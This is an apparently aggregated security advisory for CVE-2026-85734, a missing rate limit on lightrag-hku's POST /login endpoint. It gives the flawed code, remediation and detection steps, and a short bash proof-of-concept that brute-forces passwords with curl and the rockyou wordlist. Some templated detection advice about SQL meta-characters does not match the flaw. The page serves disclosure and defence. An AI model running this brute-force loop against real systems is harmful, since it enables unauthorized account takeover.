Categories
CVE-2026-85734 critical CVSS 9.1

Vulnerability in lightrag-hku (CVE-2026-85734)

Summary

Vulnerability in lightrag-hku (CVE-2026-85734). Confidential information can be exposed externally. Exploitable via POST /login. Mitigation: upgrade to 1.5.5 or later.

Original description

The description as published by the source.

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Source: NIST National Vulnerability Database NVD GitHub Advisory

Auto-generated summary

Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.

A vulnerability tracked as CVE-2026-85734 has been found in lightrag-hku.
Attackers can target a specific entry point like POST /login over the network to misuse the product.
Confidential information can be exposed externally. CVSS score: 9.1/10.
What to do: upgrade lightrag-hku to 1.5.5 or later.
If unsure, ask your IT team or search "lightrag-hku CVE-2026-85734" on the vendor's site.

CVE-2026-85734 (lightrag-hku) — CWE-307 / CVSS v3 9.1
Attack vector: remote (network-reachable) / unauthenticated / no user interaction
Attack surface: POST /login
Patched: 1.5.5 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.

❓ What is the problem

A vulnerability (CWE-307) exists in lightrag-hku. Attackers reach the vulnerable code path via POST /login without authentication.

📍 Affected scope

Check the vendor advisory for the affected versions of lightrag-hku. Attack surface: POST /login.

🔥 Severity

Severity: Critical (CVSS 9.1/10). Confidential information can be exposed externally.

🔧 How to fix

Update to 1.5.5.

🛡️ Workaround

Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.

🔍 Detection

Search webserver/proxy logs for unusual POST /login requests with malformed payloads or SQL meta-characters. Run grep -r 'lightrag-hku' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.

Response actions

Concrete steps and command examples for SOC/SRE teams to execute in order

  1. 1
    Identify exposure identify
    grep -r 'lightrag-hku' . | grep -v node_modules

    リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で lightrag-hku を grep し、稼働しているサービス・バージョンを把握する。

  2. 2
    Hunt for indicators of compromise detect
    grep 'POST /login' /var/log/nginx/access.log | grep -E '(unusual_payload|sqli_pattern)'

    アクセスログで POST /login への異常なリクエスト (不正な認証ヘッダ・SQLメタ文字)を過去 30〜90日分捜索。WAF/SIEM があれば該当パスのアラート発火履歴を確認。

  3. 3
    Apply patch patch
    Upgrade lightrag-hku to 1.5.5

    ステージング環境で 1.5.5 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスと、Step 2 で見つけた異常検知の続報チェックを含めること。

  4. 4
    Post-deployment verification verify
    Replay attack against POST /login on staging to confirm patch closes the vector

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番では Step 2 と同じログクエリでアラート再発が無いか継続監視。

Affected packages

pip lightrag-hku
[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.5.5"}]}]
PyPI lightrag-hku
[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.5.5"}]}]

References

We use cookies for analytics and ad measurement. This setting applies to all Game co., Ltd. sites. Details